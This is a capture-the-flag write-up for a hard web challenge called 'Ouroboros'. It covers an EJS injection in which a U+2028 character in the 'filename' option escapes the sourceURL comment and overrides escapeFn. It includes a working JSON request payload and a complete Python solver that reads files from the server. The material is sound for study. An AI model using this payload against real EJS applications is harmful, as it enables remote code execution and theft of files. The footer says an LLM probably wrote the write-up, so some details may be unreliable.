Neven Marić
Hidden Investigations CTF 2026

WebHidden Investigations CTF 2026

Ouroboros

Exploit EJS filename sourceURL injection via U+2028 LINE SEPARATOR to shadow escapeFn with an attacker-controlled function that reads the flag from disk.

  • web
  • ejs
  • prototype-pollution
  • rce
  • sourceurl-injection
  • u2028
  • node

What this one teaches

  • EJS's passable-option whitelist includes filename. When compileDebug is on, EJS appends //# sourceURL= with the filename — U+2028 terminates the line comment and injects source.
  • Function declarations are hoisted in the generated function scope, so declaring escapeFn shadows the real parameter and hijacks every <%= %> output.
  • U+2028 and U+2029 are legal inside JSON strings but act as line terminators in JavaScript — a class of injection that survives JSON.stringify.

Task description

The Ouroboros Report Builder is a small internal report tool: sign in, save a branding config, render a live preview. That’s the whole app. There are no user-supplied templates, no eval, no obvious injection, and the one dangerous thing you’re thinking of is already filtered.

  • Category: web (hard)

Recon

  • The preview template was recovered by abusing a passable EJS option: {"data":{"title":"T","body":"B","delimiter":"?"}} turns off normal tag parsing and returns the raw template:

    <section class="report"><h1><%= title %></h1><small><%= footer %></small>
    <div class="body"><%= body %></div><div class="computed"><%= computed %></div></section>
  • delimiter, _with, async, filename all behave as EJS render options taken from data, proving the preview uses the two-argument ejs.render(template, locals) form. In that form EJS copies only _OPTS_PASSABLE_WITH_DATA from locals into its options object.

  • The template has no include, so EJS file loading is not directly reachable.

The gadget: filename + U+2028 sourceURL injection

filename is in EJS’s passable-option whitelist. When compileDebug is on (the default), EJS appends this to the generated function source:

//# sourceURL= + JSON.stringify(opts.filename)

JSON.stringify leaves U+2028 (LINE SEPARATOR) as a literal character. U+2028 terminates a JavaScript // line comment, so a filename containing U+2028 injects source after the comment. Function declarations are hoisted to the top of the generated function scope, so a declaration named escapeFn shadows the real escapeFn parameter. Every <%= field %> in the template then calls the attacker’s function, whose return value is written into the response.

A harmless probe (function escapeFn(){return 731}//) returned 731 in every field on the live instance; the trailing // comments out the closing quote that JSON.stringify appends.

Request

POST /api/report/preview HTTP/1.1
Content-Type: application/json
Cookie: sid=<session>

{"data":{"title":"T","body":"B",
 "filename":"probe
function escapeFn(){const fs=process.mainModule.require('fs');for(const p of ['/flag','/flag.txt','/app/flag','/app/flag.txt','flag','flag.txt']){try{if(fs.statSync(p).isFile())return fs.readFileSync(p,'utf8')}catch(e){}}return JSON.stringify({cwd:process.cwd(),root:fs.readdirSync('/'),files:fs.readdirSync('.')})}//",
 "compileDebug":true,"client":false,"async":false}}

The 
 must decode to a real U+2028 character (or place the raw character in the JSON string). Avoid double quotes and backslashes inside the injected function because JSON.stringify escapes them; a normal newline is escaped too and does not work.

The injected function reads the flag from disk (the root page says “The flag is on disk, on no route”) and falls back to listing / and the current directory.

Solver

#!/usr/bin/env python3
"""Recover the Ouroboros flag through EJS filename sourceURL injection."""
import argparse, html, re, sys, requests

def main():
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("url", help="Live challenge instance URL")
    args = parser.parse_args()
    base = args.url.rstrip("/")
    session = requests.Session()
    session.post(
        base + "/api/login", json={"username": "ouroboros-solver"}, timeout=20
    ).raise_for_status()

    # U+2028 ends the sourceURL comment. The declaration is hoisted above
    # EJS's return statement and replaces its escapeFn parameter.
    filename = "probe
function escapeFn(){" + (
        "const fs=process.mainModule.require('fs');"
        "for(const p of ['/flag','/flag.txt','/app/flag','/app/flag.txt',"
        "'flag','flag.txt']){"
        "try{if(fs.statSync(p).isFile())return fs.readFileSync(p,'utf8')}"
        "catch(e){}"
        "}"
        "return JSON.stringify({cwd:process.cwd(),"
        "root:fs.readdirSync('/'),files:fs.readdirSync('.')});"
        "}//"
    )
    response = session.post(
        base + "/api/report/preview",
        json={"data": {
            "title": "T", "body": "B", "filename": filename,
            "compileDebug": True, "client": False, "async": False,
        }},
        timeout=20,
    )
    response.raise_for_status()
    flags = list(dict.fromkeys(
        re.findall(r"hiCTF\{[^{}]+\}", html.unescape(response.text))))
    if not flags:
        raise SystemExit("No flag found; inspect the returned diagnostic.")
    print("\n".join(flags))

if __name__ == "__main__":
    main()

Dead ends

  • client:true + escapeFunction:<string> and data.settings["view options"] source-injection were tested in every placement and do not execute on the live 2-arg ejs.render path; only the whitelisted options reach EJS.
  • Prototype pollution via constructor.prototype is real but only reached the template scope (escapeFn shadowing -> 500), not the compiler options.
  • Static traversal, .git/.env, include payloads, and the empty computed field produced nothing.

Lessons

  • EJS’s passable-option whitelist is shorter than the full option set, but filename is on it — and filename controls injected source via sourceURL when compileDebug is on.
  • U+2028/U+2029 are JSON-legal but JavaScript line-terminators. Any path where user input flows into a // comment through JSON.stringify is injectable.
  • When new Function is the compilation target, hoisted declarations shadow parameters — a single function escapeFn(){} overrides the sanitiser.
The flagRevealhiCTF{pr0to_pollution_to_cust0m_new_Function_gadget_rce_09a6a70c15}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.